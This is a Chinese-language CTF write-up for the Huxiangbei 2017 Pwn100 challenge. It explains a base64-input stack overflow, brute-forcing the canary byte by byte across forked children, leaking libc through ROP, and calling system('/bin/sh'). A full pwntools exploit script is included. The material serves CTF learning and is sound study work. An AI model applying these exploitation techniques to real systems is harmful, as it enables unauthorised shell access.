ctf canary绕过及湖湘杯Pwn100 writeup

赛题链接

https://github.com/eternalsakura/ctf_pwn/tree/master/湖湘杯2017/pwn100h

测试

先随手输入测试一下

从结果来看很像栈溢出了。

静态分析找到漏洞

打开IDA查看代码

找到main函数,跟进sub_8048B29()



跟进去找到输入点,可以看到最大可以输入512字节的数据,对于输入格式的要求是能够进行base64解码。


根据我圈起来的地方基本上可以很明显的看出这是base64解密

如果对base64还有不懂,可以参考base64 c语言实现维基百科

找到栈溢出

base64解码的结果存入char数组v21[257],base64解码之后的数据大小大概是原来的3/4,足够造成栈溢出了。

漏洞函数地址为0x080487E6

分析下多进程

wait(0)函数的作用是等待任意一个子进程退出。
http://www.cnblogs.com/linux-sir/archive/2012/01/27/2330014.html

利用漏洞

checksec查看开启了什么保护,这题的难点就在canary了。

利用思路

一般的思路是先leak出canary的cookie,然后在payload里,把原来的canary位置的cookie用我们leak出的正确的cookie写入,之后就是正常的rop。
不过这题,emmm,有个fork呀……参考这篇文章http://0x48.pw/2017/03/14/0x2d/,直接爆破canary
这是个32位的程序,所以canary有4个字节,最低位一定是\x00,所以只需要爆破三个字节即可。
构造爆破payload格式为:padding+canary+chr(i)
(canary的玩法不要太多,可以参考这篇文章:http://veritas501.space/2017/04/28/论canary的几种玩法/

爆破

先找到padding的大小

再看看canary在哪,在数组旁边。


所以我们的padding大小就是257字节了。
再重复一遍,对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。 那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

爆破函数

1
2
3
4
5
6
7
8
9
10
11
canary = '\x00'
p.recvuntil('May be I can know if you give me some data[Y/N]\n')
for i in xrange(3):
for j in xrange(256):
p.send('Y\n')
p.send(b64encode('a'*257+ canary + chr(j)))
recv =p.recvuntil('May be I can know if you give me some data[Y/N]\n')
if 'Finish' in recv:
canary += chr(j)
break
print 'find canary:'+canary.encode('hex')

构造rop

关于构造rop可以参考蒸米的文章:https://yq.aliyun.com/articles/58699

leak出puts函数的地址

所以我们的payload1格式就是rop = padding + canary + padding + puts_plt_addr + 漏洞函数地址 + puts_got_addr(作为puts的参数)

计算system地址和在libc里找到’/bin/sh’地址

libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
next(libc.search('/bin/sh')- libc.symbols['puts'] + u32(puts_addr)

return to system,getshell

payload2格式为rop=padding+canary+padding+system_addr+padding+sh_addr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from base64 import *
elf = ELF('pwns')
# libc = ELF('libc.so.6')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
vulc_addr = 0x080487E6
p = process('./pwns')
# brute
canary = '\x00'
p.recvuntil('May be I can know if you give me some data[Y/N]\n')
for i in xrange(3):
for j in xrange(256):
p.send('Y\n')
p.send(b64encode('a'*257+ canary + chr(j)))
recv =p.recvuntil('May be I can know if you give me some data[Y/N]\n')
if 'Finish' in recv:
canary += chr(j)
break
print 'find canary:'+canary.encode('hex')
payload1 = 'a'*257+ canary +'a'*12+flat(puts_plt_addr,vulc_addr,puts_got_addr)
p.send('Y\n')
p.recvuntil('Give me some datas:\n\n')
p.send(b64encode(payload1))
puts_addr = p.recv()[268:268+4]
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
sh_addr = next(libc.search('/bin/sh'))- libc.symbols['puts'] + u32(puts_addr)
p.send('Y\n')
p.send('Y\n')
payload2 = 'a'*257+canary+'a'*12+flat(system_addr,p32(1),sh_addr)
p.send(b64encode(payload2))
p.interactive()